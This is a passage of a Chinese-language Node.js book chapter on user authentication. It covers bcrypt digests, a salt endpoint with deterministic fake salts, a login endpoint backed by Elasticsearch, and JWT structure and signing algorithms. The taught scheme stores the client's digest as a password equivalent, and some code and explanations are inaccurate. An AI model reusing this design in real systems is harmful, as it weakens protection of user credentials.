进行构建和安装过程。node-gyp
只与 Node 的长期支持(LTS)版本一起工作。
-
-
bcryptjs
(npmjs.com/package/bcryptjs):bcrypt 的独立 JavaScript 实现,没有外部依赖。因为它不是在像 C++ 这样的底层语言上运行,所以它稍微慢一些(30%)。这意味着它每单位时间内无法像更有效的实现那样处理那么多迭代。它具有与bcrypt
包相同的接口,也可以在浏览器中运行,其中它依赖于标准化的 Web Crypto API 生成随机数。 -
bcrypt-nodejs
:bcryptjs
的一个未维护的先行者。
因此,选择是在性能(bcrypt
)和设置简便(bcryptjs
)之间。
不要感到困惑。加密散列算法应该是慢的;它越慢,就越安全。然而,你应该始终假设攻击者会使用该算法可能的最快实现,因此我们应在可能的情况下也使用最快的实现。因此,纯粹从安全角度考虑,bcrypt
包比 bcryptjs
更受欢迎,因为它是 JavaScript 的最快实现。
我们现在将使用 bcryptjs
包,因为它设置起来最简单。但当你完成这本书中的所有练习后,你可以自由地切换到使用 bcrypt
包以获得额外的性能提升。由于 bcryptjs
包与 bcrypt
包 100% 兼容,你只需要更新 import
语句;其他所有内容都可以保持不变。
使用 bcryptjs 库
首先,让我们将其作为开发依赖项安装:
$ yarn add bcryptjs --dev
然后,从bcryptjs
模块导入genSaltSync
和hashSync
方法,并使用它们生成盐和摘要。我们还将盐和摘要存储在上下文中,以帮助我们进行后续步骤的断言:
import { genSaltSync, hashSync } from 'bcryptjs';
...
async function createUser() {
...
user.password = crypto.randomBytes(32).toString('hex');
user.salt = genSaltSync(10);
user.digest = hashSync(user.password, user.salt);
const result = await client.index({ index, type, refresh,
body: {
email: user.email,
digest: user.digest,
},
});
...
}
通常,我们会使用 hash 方法的异步版本。然而,由于我们正在编写测试,而这个步骤无论如何都无法继续,除非这一步已经完成执行,因此我们可以使用同步方法来节省一行返回承诺的代码。
genSaltSync
函数具有以下函数签名:
genSaltSync([rounds, seed_length])
在这里,rounds
决定了 bcrypt 应该执行多少轮哈希拉伸;数字越高,摘要生成和验证的速度越慢。默认值是10
,这是我们在这里使用的。
如果我们现在运行测试,单元和集成测试应该仍然通过,但端到端测试将失败。
验证摘要
接下来,我们需要指定一个新的场景概述,以断言带有无效digest
有效负载属性的POST /users
请求应收到400 Bad Request
响应。你的场景概述可能看起来像这样:
Scenario Outline: Request Payload with invalid digest format
When the client creates a POST request to /users
And attaches a Create User payload where the digest field is exactly <digest>
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The '.digest' field should be a valid bcrypt digest"
Examples:
| digest |
| jwnY3Iq1bpT5RTsAXKOLnr3ee423zWFU23efwXF27bVKJ4VrDmWA0hZi6YI0 |
| $2y$10$a7iPlM2ORVOPr0QNvDf.a.0QKEWwSGRKBaKSqv,40KFGcBuveazjW |
| #2y$10$a7iPlM2ORVOPr0QNvDf.a.0QKEWwSGRKBaKSqv.40KFGcBuveazjW |
更新现有实现
现在我们已经更新了现有的测试,是时候更新我们的实现以使测试再次通过。让我们从更新创建用户 JSON 模式开始,将password
属性替换为digest
属性:
{
"properties": {
"email": { ... },
"digest": { "type": "string" },
"profile": { ... }
},
"required": ["email", "digest"],
}
然而,仅仅验证digest
属性的 数据类型是不够的;我们需要检查digest
字符串是否是合法的 bcrypt 摘要。幸运的是,所有 bcrypt 摘要都有相同的一般结构:
因此,我们可以使用以下正则表达式来匹配有效的摘要:
^\$2[aby]?\$\d{1,2}\$[.\/A-Za-z0-9]{53}$
为了解释这个正则表达式,让我们将其分解:
-
\$2[aby]?\$
:这匹配使用的算法。有效值是2
、2a
、2y
和2b
。 -
\d{1,2}\$
:这匹配成本或轮数,是一个介于 4 到 31(包含)之间的整数。 -
[.\/A-Za-z0-9]{53}
:这匹配盐和哈希,盐占前 22 个字符,哈希密码占后 31 个字符。
因此,让我们更新我们的摘要子模式以包括此模式:
"digest": {
"type": "string",
"pattern": "^\\$2[aby]?\\$\\d{1,2}\\$[.\\/A-Za-z0-9]{53}$"
}
我们在模式中使用的模式包含额外的反斜杠来转义正则表达式中的反斜杠。
现在,如果客户端提供的密码摘要不匹配此模式,创建用户验证器将返回一个ValidationError
对象,其中keyword
属性设置为"pattern"
。我们可以利用这个事实来返回一个自定义消息,通知客户端提供的摘要无效。
将以下行添加到src/validators/errors/messages/index.js
:
if (error.keyword === 'pattern') {
return `The '${pathPrefix}${error.dataPath}' field should be a valid bcrypt digest`;
}
最后,别忘了编写覆盖这个新逻辑分支的单元测试:
it('should return the correct string when error.keyword is "pattern"', function () {
const errors = [{
keyword: 'pattern',
dataPath: '.test.path',
}];
const actualErrorMessage = generateValidationErrorMessage(errors);
const expectedErrorMessage = "The '.test.path' field should be a valid bcrypt digest";
assert.equal(actualErrorMessage, expectedErrorMessage);
});
然后,在我们的检索用户和搜索用户引擎(定义在src/engines/users/
中),确保我们在查询用户对象时排除了digest
字段,例如:
db.get({
index: process.env.ELASTICSEARCH_INDEX,
type: 'user',
id: req.params.userId,
_sourceExclude: 'digest',
})
现在,再次运行端到端测试并确认它们通过。完成之后,更新单元和集成测试,以确保它们也能通过。最后,将更改提交到一个名为 authentication/main
的新分支,将该分支推送到 GitHub,并在 Travis 和 Jenkins CI 服务器上检查结果。
获取盐
更新后的创建用户端点现在要求用户以 bcrypt 摘要的形式指定其凭据,我们将它存储在我们的 Elasticsearch 数据库中。接下来,我们需要实现一个系统,我们可以通过比较客户端提供的摘要和我们存储在数据库中的摘要来验证任何后续请求。
但是,为了使客户端能够重新生成相同的摘要,它们必须提供相同的盐和参数。因此,我们的 API 需要为客户端创建一个新的端点来获取盐。
就像其他功能一样,我们通过编写端到端测试来开始我们的开发。在 spec/cucumber/features/auth/salt/main.feature
中创建一个新的功能规范,并添加以下场景:
Feature: Retrieve Salt and Parameters
Test that we can create a user using a digest and then retrieve information about the digest's salt and parameters successfully
Scenario: Retrieve Salt without specifying Email
When the client creates a GET request to /salt
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "The email field must be specified"
Scenario: Send Digest and Retrieve Salt
Given a new user is created with random password and email
When the client creates a GET request to /salt
And set a valid Retrieve Salt query string
And sends the request
Then our API should respond with a 200 HTTP status code
And the payload of the response should be a string
And the payload should be equal to context.salt
使用你所学的知识来实现未定义的步骤。
实现获取盐端点
我们应该保持获取盐端点的实现与现有的端点一致,因此我们应该为它创建一个处理程序和引擎。
实现获取盐引擎
在 src/engines/auth/salt/retrieve/index.js
中创建一个新的获取盐引擎。在其中,我们需要使用 Elasticsearch 客户端的 search
方法通过电子邮件找到用户的文档,从文档中提取摘要,然后从摘要中提取盐:
const NO_RESULTS_ERROR_MESSAGE = 'no-results';
function retrieveSalt(req, db, getSalt) {
if (!req.query.email) {
return Promise.reject(new Error('Email not specified'));
}
return db.search({
index: process.env.ELASTICSEARCH_INDEX,
type: 'user',
body: {
query: {
match: {
email: req.query.email,
},
},
},
_sourceInclude: 'digest',
}).then((res) => {
const user = res.hits.hits[0];
return user
? user._source.digest
: Promise.reject(new Error(NO_RESULTS_ERROR_MESSAGE));
}).then(getSalt);
}
export default retrieveSalt;
此函数需要 bcrypt
库中的 getSalt
方法,该方法将由处理程序函数注入。接下来,在 src/handlers/auth/get-salt/index.js
中创建一个文件来存放处理程序函数,该函数简单地将请求传递给引擎,并根据引擎的结果生成标准响应:
function retrieveSalt(req, res, db, engine, _validator, getSalt) {
return engine(req, db, getSalt).then((result) => {
res.status(200);
res.set('Content-Type', 'text/plain');
return res.send(result);
}, (err) => {
if (err.message === 'Email not specified') {
res.status(400);
res.set('Content-Type', 'application/json');
return res.json({ message: 'The email field must be specified' });
}
throw err;
}).catch(() => {
res.status(500);
res.set('Content-Type', 'application/json');
return res.json({ message: 'Internal Server Error' });
});
}
export default retrieveSalt;
最后,在 src/index.js
中导入引擎和处理程序,并使用它创建一个新的端点:
import { getSalt } from 'bcryptjs';
import retrieveSaltHandler from './handlers/auth/salt/retrieve';
import retrieveSaltEngine from './engines/auth/salt/retrieve';
const handlerToEngineMap = new Map([
[retrieveSaltHandler, retrieveSaltEngine],
...
]);
app.get('/salt', injectHandlerDependencies(retrieveSaltHandler, client, handlerToEngineMap, handlerToValidatorMap, getSalt));
由于我们现在在实现代码中使用 bcryptjs
包,而不仅仅是测试代码,我们应该将其从 devDependencies
移动到 dependencies
:
$ yarn remove bcryptjs
$ yarn add bcryptjs
最后,我们还应该修改 injectHandlerDependencies
函数以传递 getSalt
依赖项:
function injectHandlerDependencies(
handler, db, handlerToEngineMap, handlerToValidatorMap, ...remainingArguments
) {
const engine = handlerToEngineMap.get(handler);
const validator = handlerToValidatorMap.get(handler);
return (req, res) => { handler(req, res, db, engine, validator, ...remainingArguments); };
}
export default injectHandlerDependencies;
现在,当我们运行端到端测试时,它们应该全部通过。
为不存在的用户生成盐
然而,当客户端尝试获取不存在用户的盐时会发生什么?目前,由于我们没有处理 Elasticsearch 返回零搜索结果的情况,我们的 API 将响应 500 内部服务器错误
。但我们的 API 应该如何响应呢?
如果我们响应一个404 Not Found
错误,那么任何拥有 API 测试工具(如 Postman)的人都能确定是否有用户在我们的平台上注册了该电子邮件。想象一下,如果我们的平台不是一个公开的用户目录,而是一个提供如整形手术中心、生育诊所或律师事务所等个人/医疗服务客户的门户;如果有人仅通过输入电子邮件就能发现他/她已注册该服务,而没有收到“用户未找到”的消息,这对客户来说将是尴尬的。
无论后果是否可能令人尴尬,通常都是一个好习惯,即尽可能少地暴露信息。这是最小权限原则的扩展,即系统应仅向实体暴露执行其功能所需的最小信息量。
因此,返回一个404 Not Found
错误是不合适的。
那么,替代方案是什么?由于我们所有的 bcrypt 盐都有相同的长度(序列$2a$10$
后跟 22 个字符)和有效的字符范围,我们可以简单地使用bcrypt.genSaltSync()
生成一个新的盐,并将其作为盐返回。例如,我们可以在getSalt
引擎模块的末尾定义以下捕获块:
.catch(err => {
if (err.status === 404) {
return bcrypt.genSaltSync(10);
}
return Promise.reject(new Error('Internal Server Error'));
});
然而,试图利用我们的 API 的人可以发送多个请求,观察返回的每个盐都是不同的,并推断出这不是一个真实用户(因为用户在短时间内很可能有相同的盐)。所以,即使为不存在的用户生成新的随机字符串会减缓这种攻击者的速度,但我们的 API 仍然会泄露太多信息。
相反,我们可以使用一个伪随机数生成器(一个PRNG,它是一种确定性随机比特生成器(DRBG))。PRNG 生成一个看似随机的数字序列,但实际上是基于一个初始值(称为种子)确定的。因此,我们可以使用用户的电子邮件地址作为种子,并使用它来生成一个看似随机的数字序列,将其转换成一个 22 个字符的字符串,在序列前面加上$2a$10$
,并将其作为该用户的盐值发送回客户端。这样,无论用户是否存在,都会返回一个持久不变的盐。
编写端到端测试
所以,首先,让我们编写一个新的场景,这个场景将测试两个事情:
-
当查询不存在用户的盐(通过电子邮件标识)时,它将返回具有正确字符数和字符范围的字符串
-
当在多个请求中查询同一不存在用户的盐时,返回的盐应该是相同的
你的功能文件可能看起来像这样:
Scenario: Retrieve Salt of Non-Existent User
When the client creates a GET request to /salt
And set "email=non@existent.email" as a query parameter
And sends the request
Then our API should respond with a 200 HTTP status code
And the payload of the response should be a string
And the response string should satisfy the regular expression /^\$2a\$10\$[a-zA-Z0-9\.\/]{22}$/
Scenario: Retrieve the same Salt of Non-Existent User over multiple requests
Given the client creates a GET request to /salt
And set "email=non@existent.email" as a query parameter
And sends the request
And the payload of the response should be a string
And saves the response text in the context under salt
When the client creates a GET request to /salt
And set "email=non@existent.email" as a query parameter
And sends the request
And the payload of the response should be a string
And the payload should be equal to context.salt
你还需要定义以下步骤定义:
Then(/^the response string should satisfy the regular expression (.+)$/, function (regex) {
const re = new RegExp(regex.trim().replace(/^\/|\/$/g, ''));
assert.equal(re.test(this.responsePayload), true);
});
运行测试并观察它们失败。一旦你做到了这一点,我们就准备好实现这个功能了。
实现
JavaScript 的Math.random()
没有提供提供种子的选项,但有一些库实现了 JavaScript 中的伪随机数生成器。其中两个最受欢迎的是seedrandom
和random-seed
。在这两个中,random-seed
包提供了一个string(count)
方法,可以生成一个随机字符串而不是随机数;由于这种便利性,我们将使用random-seed
包来生成我们的假盐。
首先,让我们安装它:
$ yarn add random-seed
现在,在utils/generate-fake-salt.js
中创建一个新文件,并定义一个新的generateFakeSalt
函数,该函数将根据用户的电子邮件输出一个假盐:
import randomseed from 'random-seed';
function generateFakeSalt(seed) {
const salt = randomseed
// Seed the pseudo-random number generator with a seed so the
// output is deterministic
.create(seed)
// Instead of a number, generate a string of sufficient length,
// so that even when invalid characters are stripped out,
// there will be enough characters to compose the salt
.string(110)
// Replace all characters outside the character range of a valid
//bcrypt salt
.replace(/[^a-zA-Z0-9./]/g, '')
// Extract only the first 22 characters for the salt
.slice(0, 22);
// Prepend the bcrypt algorithm version and cost parameters
return `$2a$10$${salt}`;
}
export default generateFakeSalt;
接下来,在retrieveSalt
引擎中,在末尾添加一个catch
块,如果找不到用户,将使用generateFakeSalt
函数:
function retrieveSalt(req, db, getSalt, generateFakeSalt) {
...
.then(bcrypt.getSalt)
.catch((err) => {
if (err.message === NO_RESULTS_ERROR_MESSAGE) {
return generateFakeSalt(req.query.email);
}
return Promise.reject(new Error('Internal Server Error'));
});
}
再次,在src/index.js
中导入generateFakeSalt
实用函数,并通过处理器将其传递给引擎。
现在,再次运行 E2E 测试套件,测试应该通过。添加一些单元和集成测试来覆盖这些新的代码块。完成之后,提交更改并继续下一步。
登录
客户现在可以执行以下操作:
-
在创建新用户时指定密码摘要
-
查询摘要盐
这意味着客户端现在可以使用相同的盐和密码组合来重新生成它在创建用户时提供的确切相同的哈希值。
这意味着当客户端想要执行需要授权的操作(例如更新其个人资料)时,它可以将其电子邮件和摘要发送到 API 服务器,我们的服务器将尝试将它们与数据库记录匹配;如果匹配成功,用户将被认证并且操作可以继续,否则,将返回错误响应。
虽然在每次请求中都全局执行此认证过程是可行的,但它有以下不理想的原因:
-
客户端必须将凭据本地存储。如果这样做不正确(例如,作为一个未标记为安全的 cookie),那么其他程序可能能够读取它。
-
服务器需要在每次请求时查询数据库,这是一个耗时的操作。此外,如果 API 正在接收大量流量,它可能会使数据库过载,从而成为性能瓶颈。
因此,我们不应该在每次需要授权的请求中提供完整的凭据集,而应该实现一个登录端点,让我们的用户只需提供一次密码。在通过登录端点成功认证后,API 将响应某种类型的标识符,客户端可以将该标识符附加到后续请求中,以识别自己。现在让我们实现我们的登录端点,稍后我们将处理这个标识符实际上是什么。
编写测试
首先,我们通过编写测试来开始我们的开发。由于登录端点的验证逻辑与我们的端点相同,我们可以直接从其他测试中复制那些场景:
Feature: Login User
Test that we can create a user using a digest and then perform a login that returns successfully
Background: Create User with email and password digest
Given 1 new user is created with random password and email
Scenario Outline: Bad Client Requests
...
Scenario Outline: Bad Request Payload
...
Scenario Outline: Request Payload with Properties of Unsupported Type
...
Scenario Outline: Request Payload with invalid email format
...
Scenario Outline: Request Payload with invalid digest format
...
接下来,我们可以指定针对登录端点的特定场景:
Scenario: Login without supplying credentials
When the client creates a POST request to /login
And sends the request
Then our API should respond with a 400 HTTP status code
Scenario: Login attaching a well-formed payload
When the client creates a POST request to /login
And attaches a valid Login payload
And sends the request
Then our API should respond with a 200 HTTP status code
And the payload of the response should be a string
Scenario Outline: Login attaching a well-formed payload but invalid credentials
When the client creates a POST request to /login
And attaches a Login payload where the <field> field is exactly <value>
And sends the request
Then our API should respond with a 403 HTTP status code
Examples:
| field | value |
| email | non@existent.email |
| digest | $2a$10$enCaroMp4gMvEmvCe4EuP.0d5FZ6yc0yUuSJ0pQTt4EO5MXvonUTm |
在第二种场景(登录附加良好格式化的有效负载
)中,响应体应该是一个标识对象。然而,在我们决定如何实现这个对象之前,我们可以简单地测试是否返回了一个字符串。
实现登录功能
如前所述,让我们首先实现登录引擎。像我们的其他引擎一样,我们首先使用验证器来验证请求对象。一旦请求被验证,我们就使用 Elasticsearch 客户端的 search
方法来查看有多少用户文档与提供的电子邮件和摘要匹配。如果有非零文档,则表示存在具有这些凭证的用户,引擎应解析为令牌(我们现在使用占位符字符串)。如果没有用户与这些凭证匹配,则表示这些凭证无效,引擎应返回一个拒绝的承诺:
import specialEscape from 'special-escape';
const specialChars = ['+', '-', '=', '&&', '||', '>', '<', '!', '(', ')', '{', '}', '[', ']', '^', '"', '~', '*', '?', ':', '\\', '/'];
function loginUser(req, db, validator, ValidationError) {
const validationResults = validator(req);
if (validationResults instanceof ValidationError) {
return Promise.reject(validationResults);
}
return db.search({
index: process.env.ELASTICSEARCH_INDEX,
type: 'user',
q: `(email:${specialEscape(req.body.email, specialChars)}) AND (digest:${specialEscape(req.body.digest, specialChars)})`,
defaultOperator: 'AND',
}).then((res) => {
if (res.hits.total > 0) {
return 'IDENTIFIER';
}
return Promise.reject(new Error('Not Found'));
});
}
export default loginUser;
在 Elasticsearch 中搜索时,有一些字符必须转义。我们使用 special-escape
npm 包在将电子邮件和 bcrypt 摘要传递给 Elasticsearch 之前对其进行转义。因此,我们必须将此包添加到我们的存储库中:
$ yarn add special-escape
接下来,我们转向请求处理器。在 src/handlers/auth/loginindex.js
中创建一个新文件,包含以下函数:
function login(req, res, db, engine, validator, ValidationError) {
return engine(req, db, validator, ValidationError)
.then((result) => {
res.status(200);
res.set('Content-Type', 'text/plain');
return res.send(result);
})
.catch((err) => {
res.set('Content-Type', 'application/json');
if (err instanceof ValidationError) {
res.status(400);
return res.json({ message: err.message });
}
if (err.message === 'Not Found') {
res.status(401);
return res.json({ message: 'There are no records of an user with this email and password combination' });
}
res.status(500);
return res.json({ message: 'Internal Server Error' });
});
}
export default login;
然后,我们需要为登录端点的有效负载定义一个验证器。幸运的是,对于我们的情况,登录有效负载的结构与创建用户有效负载相同,因此我们可以简单地重用创建用户的验证器。然而,为了明确起见,让我们在 src/validators/auth/login.js
中创建一个包含以下两行的文件:
import validate from '../users/create';
export default validate;
最后,在 src/index.js
中导入处理器、引擎和验证器,并定义一个新的路由:
import loginValidator from './validators/auth/login';
import loginHandler from './handlers/auth/login';
import loginEngine from './engines/auth/login';
const handlerToEngineMap = new Map([
[loginHandler, loginEngine],
...
]);
const handlerToValidatorMap = new Map([
[loginHandler, loginValidator],
]);
app.post('/login', injectHandlerDependencies(
loginHandler, client, handlerToEngineMap, handlerToValidatorMap, ValidationError,
));
现在,再次运行端到端测试,它们应该显示为绿色。
保持用户认证
现在既然我们的 API 服务器可以认证用户,我们应该返回什么标识符给客户端,以便他们可以在后续请求中附加它?通常有两种类型的标识符:
-
会话 ID:在客户端成功认证后,服务器为该客户端分配一个会话 ID,将会话 ID 存储在数据库中,并将其返回给客户端。这个会话 ID 只是一个长随机生成的文本,用于识别用户的会话。当客户端发送请求并提供会话 ID 时,服务器在其数据库中搜索具有该 会话 的用户,并假设客户端是该会话 ID 相关的用户。这个想法是,因为字符串足够长且随机,没有人能够猜出一个有效的会话 ID,而且它足够长,以至于不太可能有人能够复制该会话 ID。
-
声明(令牌):客户端成功验证后,服务器检索可以识别用户的信息(例如,他们的 ID、用户名或电子邮件)。如果系统还支持不同的权限级别(例如,编辑个人资料和删除个人资料)或角色(如管理员、版主和用户),这些信息也应被检索。
所有这些信息,称为声明(或声明集,如果有多于一个),被格式化为标准格式,并使用密钥进行签名,生成令牌。然后,该令牌被发送回客户端,客户端将其附加到每个需要身份验证的请求上。当服务器收到带有令牌的请求时,它将使用密钥验证该令牌是否来自 API 服务器且未被篡改。一旦令牌被验证,服务器就可以信任令牌所呈现的声明。
我们将使用令牌而不是会话 ID,以下是一些原因:
-
无状态:使用会话 ID 时,服务器仍然需要执行数据库读取操作,以确定用户的身份和权限级别,以及会话是否已过期。使用令牌时,所有信息都包含在令牌的声明中;服务器无需在任何地方存储令牌,并且可以在不与数据库交互的情况下进行验证。
-
降低服务器负载:作为无状态的扩展,服务器将节省大量本应用于数据库读取的内存和 CPU 周期。此外,如果用户希望注销会话,他们只需删除令牌即可。服务器无需采取任何操作。
-
可扩展性:在使用基于会话的身份验证时,如果用户在一台服务器上登录,该服务器上数据库中保存的会话 ID 可能无法快速复制,因此如果后续请求被路由到另一台服务器,该服务器将无法验证该用户。但是,由于令牌是自包含的,它们包含了识别和验证用户所需的所有信息。用户可以在任何拥有解密密钥的服务器上进行验证。
-
信息丰富:令牌可以携带比会话 ID 多得多的信息。使用会话 ID 时,服务器需要读取数据库,并可能处理用户数据,以确定是否应该执行请求。
-
可移植/可转让:任何拥有令牌的实体都有权执行令牌允许的操作,并且令牌可以自由地从一方传递到另一方。当用户希望授予第三方平台对其账户的有限访问权限时,这很有用。没有令牌,他们必须将他们的 ID 和密码提供给第三方,并希望他们不会做任何恶意的事情。使用令牌时,用户一旦经过身份验证,就可以请求一个具有特定权限集的令牌,然后将其发送给第三方。现在,第三方可以执行它所说的操作,而无需知道用户的实际凭据。
-
更安全:会话 ID 的安全性取决于其实现。如果会话 ID 可以轻松猜测(例如,它是一个简单的增量计数器),那么恶意方可以猜测会话 ID 并劫持合法用户的会话。使用令牌时,恶意方必须知道用于签名字令牌的密钥才能创建一个有效的令牌。
因此,使用令牌作为传达用户身份验证信息的方式是首选的。但由于令牌只是使用密钥签名的特定格式的声明集合,因此有许多标准可供选择。幸运的是,JSON 网络令牌(JWTs,发音为“jots”)已成为令牌的事实标准,因此选择变得不言而喻。它们也在 RFC7519 中正式定义(tools.ietf.org/html/rfc751)。在本项目中,我们将使用 JWTs 作为表示声明的格式。
JSON 网络令牌 (JWTs)
通常,令牌是由服务器颁发的一个字符串,允许令牌所有者在一定时间内对服务器执行特定操作。JWT 是一种令牌标准,可以在空间受限的环境中“安全”地传递声明。
JWT 的结构
JWT 由三个部分组成,由点(.
)分隔:
<header>.<payload>.<signature>
-
头部:一个包含有关令牌信息的 JSON 对象,例如其类型和用于生成签名的算法,例如,
{ "alg": "HS512", "typ": "JWT" }
。 -
载荷:一个包含一组声明的 JSON 对象,例如其身份和权限,例如,
{ "sub": "e@ma.il" }
。 -
签名:一个字符串,可以是消息认证码(MAC)或数字签名。签名的作用是确保载荷的真实性和完整性。
然后,将头部和载荷进行 base-64 编码以确保它们紧凑。一个简单的 JWT 可能看起来像这样(为了可读性,已插入换行符):
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiJlQG1hLmlsIn0
.
m5ZdZVXkUvur6kYndOAtp3nFdhGSqiK5S13s53y0N5EJukYE1pWdaSOY_a3lZEOsDSJ5xsUw5ACxG8VyCWUleQ
当头部和载荷被 base-64 解密时,它们的信息再次被揭示:
{ "alg": "HS512", "typ": "JWT" } # Header
{ "sub": "e@ma.il" } # Payload
由于 JWT 是 base-64 编码的,因此它们是 URL 安全的。这意味着 JWT 可以通过 URL、HTTP 请求体或 HTTP Authorization
头部中的值提供。
现在,让我们更详细地检查 JWT 的每个部分,从头部开始。
头部
JavaScript 对象签名和加密(JOSE)头是一个 JSON 对象,它提供了有关令牌类型、构建方法和任何元数据的信息。JOSE 头的键具有特殊含义:
-
typ
: JWT 的媒体类型。建议使用值"JWT"
。 -
cty
: JWT 的内容类型。此头信息仅在嵌套 JWT 的情况下使用,其值必须是"JWT"
,以指示最外层 JWT 的内容也是 JWT。 -
alg
: 生成签名所使用的算法。
根据 JWT 是JSON Web Signature(JWS)还是JSON Web Encryption(JWE),还有其他一些可用的头信息。您可以在iana.org/assignments/jose/jose.xhtml找到完整的头信息列表。
有效载荷和声明
JWT 的有效载荷由一个或多个声明组成。JWT 中有三类声明:已注册的、公共的和私有的。
已注册的声明名称
已注册的声明名称是具有特殊含义的保留声明名称。它们在 JWT 规范中定义,可以在互联网数字分配机构(IANA)的JSON Web Token Claims注册表中找到。尽管这些名称是保留的,并且具有特殊含义,但服务器处理这些声明的方式完全由服务器本身决定。所有已注册的声明都是可选的:
-
iss
: 发行者:发行 JWT 的主要实体。在我们的例子中,这可能像hobnob
一样。 -
sub
: 主题:声明适用的实体。在我们的例子中,这可能是指用户的电子邮件或 ID。 -
aud
: 受众:所有打算处理 JWT 的主要实体列表。如果处理声明的主体在存在此声明时没有使用aud
声明中的值来识别自己,则 JWT必须被拒绝。 -
exp
: 过期时间:JWT 必须被视为无效的时间,以 UNIX 时间戳(秒)表示。然而,服务器可能提供一些宽容(最多几分钟),以应对服务器时钟未同步的情况。 -
nbf
: 不早于:JWT 必须被视为无效的时间,以 UNIX 时间戳(秒)表示。 -
iat
: 发行时间:JWT 发行的时间,以 UNIX 时间戳(秒)表示。 -
jti
: JWT ID:JWT 的唯一标识符。如果 JWT 打算用作nonce(即一次性令牌),则可以使用它来防止重放攻击。它也可以用来撤销令牌。
声明名称很短,以最大限度地减少 JWT 的整体大小,因为 JWT 需要包含在需要身份验证/授权的每个请求中。
公共声明名称
只要它们不与已注册的声明名称冲突,任何人都可以定义自己的声明名称。如果已经采取了合理的预防措施以确保名称不会与其他声明名称冲突,这些声明名称可以称为公共声明名称。这些预防措施可能包括使用发行者控制的命名空间,例如域名。
私有声明名称
私有声明名称是生产者和 JWT 消费者之间达成协议的用户定义的声明名称。没有努力去防止命名冲突,因此应谨慎使用私有声明名称。
示例声明
例如,如果我们的服务器希望授予用户e@ma.il
在一天内(2017 年 10 月 25 日)删除其个人资料的权限,那么我们可以发行一个 JWT,其有效载荷看起来像这样:
{
"jti": "a8f0c4e8e",
"iss": "hobnob.social",
"sub": "e@ma.il",
"nbf": 1508886000,
"exp": 1508972400,
"iat": 1508274036,
"social.hobnob.permissions": {
"profile": {
"delete": ["e@ma.il"]
}
}
}
iss
、sub
和aud
声明必须是StringOrURI
类型。这意味着它们可以是任何任意字符串,但如果它们包含冒号(:
),则必须是有效的 URI。
签名
一旦我们在令牌内部写下了声明或断言的列表,我们必须对其进行签名。这是因为任何人都可以创建包含这些声明的令牌,甚至可以创建包含不同声明的令牌!我们不希望认可这些令牌;我们只想认可由我们自己的服务器生成的(是真实的)且未被篡改的(具有完整性)令牌。我们可以通过首先将 JWS 签名附加到令牌上,然后在处理令牌时验证它来实现这一点。
数字签名与JWS 签名不同,因为 JWS 签名还可以包括消息认证码(MAC)。当谈论 JWT 时,“签名”或“签名令牌”通常指的是 JWS 签名,而不是特定的数字签名。
用于签名令牌的支持算法在JSON Web 算法(JWA)规范中定义。通常,用于签名令牌的算法有两种类型:
-
非对称地,使用一对公钥/私钥(例如,RS256、RS384和RS512)
-
对称地,使用密钥(例如,HS256、HS384和HS512)
无论选择哪种算法,首先将 base-64 编码的头部和有效载荷连接在一起,由一个点(.
)分隔。然后将这个组合字符串([base64Header].[base64Payload]
)传递到算法中,以生成 JWS 签名:
const header = {
alg: [algorithm],
typ: "JWT"
}
const payload = {
admin: true
}
const base64Header = btoa(header);
const base64Payload = btoa(payload);
const jwsSignature = alg(`${base64Header}.${base64Payload}`, [k])
在这里,k
是该算法所需的密钥或私钥。这总是被保留为私有的。
然后,将此 JWS 签名连接到头部/有效载荷的末尾,以生成完整的 JWT,其格式为[base64Header].[base64Payload].[base64JwsSignature]
。
当我们的服务器接收到这个 JWT 时,它将从头部和负载值以及密钥中重新生成一个新的 JWS 签名,并将其与附加到令牌上的签名进行比较。如果匹配,那么我们的服务器可以确信产生令牌的人有权访问我们的密钥。由于我们的密钥是保密的,因此我们的服务器可以确信我们就是发行令牌的人,并且可以信任令牌中做出的声明。然而,如果存在不匹配,这意味着令牌要么是用不同的密钥签名的,要么已被篡改,因此不应被信任。
现在,我们理解了为什么我们需要签名令牌(以确保真实性和完整性),那么让我们看看两种签名算法之间的区别。
非对称签名生成
非对称签名生成利用一对数学上相关的公钥和私钥。它们是相关的,以至于由一个密钥加密的信息只能使用另一个密钥解密。
在 JWT 的上下文中,您可以使用私钥加密头部/声明集以生成一个数字签名,然后将它附加到 base-64 编码的头部/声明集上,以生成完整的 JWT。我们还会使公钥公开,以便 JWT 的消费者可以解密它。
由于公钥可以公开共享,因此 JWT 的发行者(生成 JWT)和令牌的消费者(验证它)可以是不同的实体,因为它们不需要共享相同的密钥。
非对称签名生成算法的例子包括以下:
-
使用 SHA 哈希算法的Rivest–Shamir–Adleman(RSA)系列,包括 RS256、RS384 和 RS512
-
椭圆曲线数字签名算法(ECDSA)使用P-256/P-384/P-521曲线和 SHA 哈希算法,包括ES256、ES384和ES512
对称签名生成
使用对称签名生成算法时,JWT 的生成和验证都需要相同的密钥。类似于之前,我们将 base-64 编码的头部/声明集与密钥一起传递给算法,并生成一个消息认证码(MAC)。MAC 附加到声明集和头部,以生成完整的 JWT。
对称签名生成算法的例子包括使用 SHA 哈希算法的*密钥散列消息认证码(HMAC**),包括 HS256、HS384 和 HS512。
选择算法
如果我们的令牌打算被第三方读取,那么使用非对称签名生成算法是有意义的。这是因为,除了提供真实性和完整性之外,非对称签名生成还提供了不可否认性的特性,即 JWT 的发行者不能否认(或拒绝)他们发行了令牌。
使用非对称签名,只有我们的服务器才能访问私钥;这为 JWT 的消费者提供了信心,即令牌是由我们的服务器签发的,而不是其他人。如果我们改用对称签名生成,我们必须安全地与第三方消费者共享密钥,以便他们可以解密令牌。但这也意味着第三方可以使用该密钥生成更多令牌。因此,那些 JWT 的消费者将无法确信令牌的真实发行者:
密码学原语 | 完整性 | 认证 | 不可抵赖性 | 所需密钥 |
---|---|---|---|---|
哈希 | 是 | 否 | 否 | 无 |
数字签名 | 是 | 是 | 是 | 非对称密钥 |
MAC | 是 | 是 | 否 | 共享对称密钥 |
然而,在我们的用例中,JWT 的生产者和消费者是同一实体(我们的 API 服务器);因此,两种类型的算法都可以使用。
MAC 的生成比数字签名计算上更容易,MAC 的密钥长度也更小;然而,由于非对称签名生成提供了更多的灵活性,如果我们可能希望允许第三方解密我们的令牌,我们将选择非对称算法。
从技术上讲,ES512 将是理想的选择,因为我们可以在保持相同安全级别的同时使用更短的关键字。正因为如此,ECDSA 在计算资源上比 RSA 使用更少:
